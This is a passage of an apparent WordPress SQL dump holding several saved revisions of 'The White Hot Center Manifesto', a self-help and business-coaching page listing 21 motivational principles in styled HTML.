#ff6600;"><em>\r\n<span style="color: #808080;">follow your heart, there is no better alternative.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">play aimlessly in your creative imagination.\r\n</span> </em></span></h2>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">discover your genius, delegate everything else.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the world moves to fast for one mind – seek collaborators.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it will put you to sleep!</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">embrace risk like a lover.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">say no often and mean it.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">elevate everyone you come into contact with.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">appreciation + service =  abundance.</span></em></span></h2>\r\n<h2></h2>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'closed', 'closed', '', '136-revision-v1', '', '', '2014-06-30 12:53:15', '2014-06-30 19:53:15', '', 136, 'http://whc.fbdev.org/2014/06/136-revision-v1/', 0, 'revision', '', 0),
(2661, 2, '2011-01-02 12:34:28', '2011-01-02 19:34:28', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious.  These guiding principles form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in every area of your life.</span></h2>\r\n<h2><strong> </strong><strong>1 as you think, so it is</strong><span style="color: #ff6600;"> </span><span style="color: #ff6600;"> </span><span style="color: #ff6600;"> </span><span style="color: #ff6600;"><em><span style="color: #808080;">\r\nthe essence of all creation begins with your thoughts.</span></em></span></h2>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</span></em></span><span style="color: #808080;"> <strong>\r\n</strong></span></h2>\r\n<h2><span style="color: #808080;"> </span></h2>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">meaning + contribution = a life of significance.</span></em></span></h2>\r\n<h1><span style="color: #808080;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">there is no shortage of supply, you are at all times surrounded by potential and possibility.</span></em></span></h2>\r\n<h2><span style="color: #808080;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">forget the past, the future is right now!</span>\r\n</em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">do everything in an easy and relaxed manner.</span></em></span></h2>\r\n<h2><span style="color: #808080;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">don’t be afraid to put your own “dent in the universe”.</span></em></span></h2>\r\n<h2><span style="color: #808080;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it''s all about the quality of your presence.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive\r\nin cash value</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the ultimate competitive advantage and the key\r\nto wealth.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">get this reversed and it’s game over!</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">doing good things for people is good business.</span></em></span></h2>\r\n<h2><span style="color: #808080;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">It’s all about them not you.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">follow your heart, there is no better alternative.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">play aimlessly in your creative imagination.\r\n</span> </em></span></h2>\r\n<h2><span style="color: #808080;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">discover your genius, delegate everything else.</span></em></span></h2>\r\n<h2><span style="color: #808080;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the world moves to fast for one mind – seek collaborators.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it will put you to sleep!</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">embrace risk like your lover.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">say no often and mean it.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">elevate everyone you come into contact with.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">appreciation + service =  abundance.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>', 'The White Hot Center Manifesto', 0, '', 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(709, 2, '2009-09-04 12:30:49', '2009-09-04 19:30:49', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious.  I want to declare for you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif"><img class="alignnone size-full wp-image-385" title="21manifesto" src="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif" alt="21manifesto" width="450" height="277" /></a>\r\n\r\nSuccessful people are inspired people. They create their own game far from the confines of the status quo. They believe everything they "see" in their creative imagination has its counterpart in the physical world! Successful people believe there are no limits to any achievement except those that are self-imposed. In my work with hundreds of business people, I have formed a point of view about these essential principals that facilitate quantum leaps in business and life success.  These are timeless, inspired ideas that, when implemented into your life in a disciplined way, will create massive success for your clients, your colleagues, and for you.\r\n<h2><strong>1 as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are at all times surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, the future is right now!\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your own “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition, properly positioned will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind – seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come into contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>appreciation + service =  abundance.</em></span>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-09-04 12:30:49', '2009-09-04 19:30:49', '', 136, 'http://www.whitehotcenter.com/2009/09/04/136-revision-35/', 0, 'revision', '', 0),
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(363, 2, '2009-07-06 12:20:59', '2009-07-06 19:20:59', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to share with you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\nIn my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs in small start-ups alike.  I‘ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires despite any physical evidence their success is being realized.\r\n\r\nIt’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success.\r\nFacilitating your awareness and deeper understanding of these ideas is my life’s great work.\r\n\r\n<span style="color: #ff6600;"><strong>as you think, so it is.</strong>\r\n<em>the essence of all creation begins with your thoughts.</em>\r\n\r\n<strong>know what you want, expect that it will be delivered to you.</strong>\r\n<em>never desire what you don’t expect to be, nor expect to be what you don’t desire.</em>\r\n<strong>\r\nyou must do what matters to you, and what you do must matter to others.</strong>\r\n<em>meaning + contribution= a life of significance.</em>\r\n\r\n<strong>begin with what’s at hand.</strong>\r\n<em>there is no shortage of supply, you are surrounded by potential and possibility.</em>\r\n\r\n<strong>as you live in your days you craft your future</strong>\r\n<em>forget the past, right now is what’s important.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>embrace simplicity.</strong>\r\n<em>do everything in an easy and relaxed manner.</em>\r\n\r\n<strong>the best idea is the one you believe is impossible.</strong>\r\n<em>don’t be afraid to put your “dent in the universe”.</em>\r\n\r\n<strong>be different, make a difference</strong>\r\n<em>a compelling value proposition will elevate you from the slush pile</em>.\r\n\r\n<strong>provide more use value than you receive in cash value</strong>\r\n<em>the ultimate competitive advantage and the key to wealth.</em>\r\n\r\n<strong>people are more important than money</strong>\r\n<em>get this reversed and it’s game over!</em>\r\n\r\n<strong>create experiences people love.</strong>\r\n<em>doing good things for people is good business.</em>\r\n\r\n<strong>listen more, sell less.</strong>\r\n<em>It’s all about them not you.</em>\r\n\r\n<strong>intuition over conventional wisdom</strong>\r\n<em>follow your heart, there is no better alternative.</em>\r\n\r\n<strong>daydream often</strong>\r\n<em>play aimlessly in your creative imagination.\r\n</em>\r\n<strong>focus on the important, handle the urgent.</strong>\r\n<em>discover your genius, develop you unique ability, delegate everything else.</em>\r\n\r\n<strong>forget what you know.</strong>\r\n<em>the world moves to fast for one mind-seek collaborators.</em>\r\n\r\n<strong>beware of comfort.</strong>\r\n<em>it will put you to sleep!</em>\r\n\r\n<strong>play on the edges.</strong>\r\n<em>embrace risk like your lover.</em>\r\n\r\n<strong>to thine own self be true, no exceptions.</strong>\r\n<em>say no often and mean it.</em>\r\n\r\n<strong>leadership is service in disguise.</strong>\r\n<em>elevate everyone you come in contact with.</em>\r\n\r\n<strong>give thanks, give back.</strong>\r\n<em>the only method to experience abundance.</em></span>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 12:20:59', '2009-07-06 19:20:59', '', 136, 'http://www.whitehotcenter.com/136-revision-7/', 0, 'revision', '', 0),
(364, 2, '2009-07-06 12:22:06', '2009-07-06 19:22:06', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to share with you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\nIn my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs in small start-ups alike.  I‘ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires despite any physical evidence their success is being realized.\r\n\r\nIt’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.\r\n\r\n<span style="color: #ff6600;"><strong>as you think, so it is.</strong>\r\n<em>the essence of all creation begins with your thoughts.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>know what you want, expect that it will be delivered to you.</strong>\r\n<em>never desire what you don’t expect to be, nor expect to be what you don’t desire.</em>\r\n<strong>\r\nyou must do what matters to you, and what you do must matter to others.</strong>\r\n<em>meaning + contribution= a life of significance.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>begin with what’s at hand.</strong>\r\n<em>there is no shortage of supply, you are surrounded by potential and possibility.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>as you live in your days you craft your future</strong>\r\n<em>forget the past, right now is what’s important.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>embrace simplicity.</strong>\r\n<em>do everything in an easy and relaxed manner.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>the best idea is the one you believe is impossible.</strong>\r\n<em>don’t be afraid to put your “dent in the universe”.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>be different, make a difference</strong>\r\n<em>a compelling value proposition will elevate you from the slush pile</em>.</span>\r\n\r\n<span style="color: #ff6600;"><strong>provide more use value than you receive in cash value</strong>\r\n<em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>people are more important than money</strong>\r\n<em>get this reversed and it’s game over!</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>create experiences people love.</strong>\r\n<em>doing good things for people is good business.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>listen more, sell less.</strong>\r\n<em>It’s all about them not you.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>intuition over conventional wisdom</strong>\r\n<em>follow your heart, there is no better alternative.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>daydream often</strong>\r\n<em>play aimlessly in your creative imagination.\r\n</em>\r\n<strong>focus on the important, handle the urgent.</strong>\r\n<em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>forget what you know.</strong>\r\n<em>the world moves to fast for one mind-seek collaborators.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>beware of comfort.</strong>\r\n<em>it will put you to sleep!</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>play on the edges.</strong>\r\n<em>embrace risk like your lover.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>to thine own self be true, no exceptions.</strong>\r\n<em>say no often and mean it.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>leadership is service in disguise.</strong>\r\n<em>elevate everyone you come in contact with.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>give thanks, give back.</strong>\r\n<em>the only method to experience abundance.</em></span>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 12:22:06', '2009-07-06 19:22:06', '', 136, 'http://www.whitehotcenter.com/136-revision-8/', 0, 'revision', '', 0),
(365, 2, '2009-07-06 12:23:48', '2009-07-06 19:23:48', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to share with you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\nIn my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs in small start-ups alike.  I‘ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires despite any physical evidence their success is being realized.\r\n\r\nIt’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.\r\n\r\n<span style="color: #ff6600;"><strong>as you think, so it is.</strong>\r\n<em>the essence of all creation begins with your thoughts.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>know what you want, expect that it will be delivered to you.</strong>\r\n<em>never desire what you don’t expect to be, nor expect to be what you don’t desire.</em>\r\n<strong>\r\nyou must do what matters to you, and what you do must matter to others.</strong>\r\n<em>meaning + contribution= a life of significance.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>begin with what’s at hand.</strong>\r\n<em>there is no shortage of supply, you are surrounded by potential and possibility.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>as you live in your days you craft your future</strong>\r\n<em>forget the past, right now is what’s important.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>embrace simplicity.</strong>\r\n<em>do everything in an easy and relaxed manner.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>the best idea is the one you believe is impossible.</strong>\r\n<em>don’t be afraid to put your “dent in the universe”.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>be different, make a difference</strong>\r\n<em>a compelling value proposition will elevate you from the slush pile</em>.</span>\r\n\r\n<span style="color: #ff6600;"><strong>provide more use value than you receive in cash value</strong>\r\n<em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>people are more important than money</strong>\r\n<em>get this reversed and it’s game over!</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>create experiences people love.</strong>\r\n<em>doing good things for people is good business.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>listen more, sell less.</strong>\r\n<em>It’s all about them not you.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>intuition over conventional wisdom</strong>\r\n<em>follow your heart, there is no better alternative.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>daydream often</strong>\r\n<em>play aimlessly in your creative imagination.\r\n</em>\r\n<strong>focus on the important, handle the urgent.</strong>\r\n<em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>forget what you know.</strong>\r\n<em>the world moves to fast for one mind-seek collaborators.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>beware of comfort.</strong>\r\n<em>it will put you to sleep!</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>play on the edges.</strong>\r\n<em>embrace risk like your lover.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>to thine own self be true, no exceptions.</strong>\r\n<em>say no often and mean it.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>leadership is service in disguise.</strong>\r\n<em>elevate everyone you come in contact with.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>give thanks, give back.</strong>\r\n<em>the only method to experience abundance.</em></span>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 12:23:48', '2009-07-06 19:23:48', '', 136, 'http://www.whitehotcenter.com/136-revision-9/', 0, 'revision', '', 0),
(366, 2, '2009-07-06 12:25:04', '2009-07-06 19:25:04', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to share with you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\nIn my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs in small start-ups alike.  I‘ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires despite any physical evidence their success is being realized.\r\n\r\n<span style="color: #ff6600;"><strong>as you think, so it is.</strong>\r\n<em>the essence of all creation begins with your thoughts.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>know what you want, expect that it will be delivered to you.</strong>\r\n<em>never desire what you don’t expect to be, nor expect to be what you don’t desire.</em>\r\n<strong>\r\nyou must do what matters to you, and what you do must matter to others.</strong>\r\n<em>meaning + contribution= a life of significance.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>begin with what’s at hand.</strong>\r\n<em>there is no shortage of supply, you are surrounded by potential and possibility.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>as you live in your days you craft your future</strong>\r\n<em>forget the past, right now is what’s important.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>embrace simplicity.</strong>\r\n<em>do everything in an easy and relaxed manner.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>the best idea is the one you believe is impossible.</strong>\r\n<em>don’t be afraid to put your “dent in the universe”.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>be different, make a difference</strong>\r\n<em>a compelling value proposition will elevate you from the slush pile</em>.</span>\r\n\r\n<span style="color: #ff6600;"><strong>provide more use value than you receive in cash value</strong>\r\n<em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>people are more important than money</strong>\r\n<em>get this reversed and it’s game over!</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>create experiences people love.</strong>\r\n<em>doing good things for people is good business.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>listen more, sell less.</strong>\r\n<em>It’s all about them not you.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>intuition over conventional wisdom</strong>\r\n<em>follow your heart, there is no better alternative.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>daydream often</strong>\r\n<em>play aimlessly in your creative imagination.\r\n</em>\r\n<strong>focus on the important, handle the urgent.</strong>\r\n<em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>forget what you know.</strong>\r\n<em>the world moves to fast for one mind-seek collaborators.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>beware of comfort.</strong>\r\n<em>it will put you to sleep!</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>play on the edges.</strong>\r\n<em>embrace risk like your lover.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>to thine own self be true, no exceptions.</strong>\r\n<em>say no often and mean it.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>leadership is service in disguise.</strong>\r\n<em>elevate everyone you come in contact with.</em></span>\r\n\r\n<span style="color: #ff6600;"><strong>give thanks, give back.</strong>\r\n<em>the only method to experience abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 12:25:04', '2009-07-06 19:25:04', '', 136, 'http://www.whitehotcenter.com/136-revision-10/', 0, 'revision', '', 0),
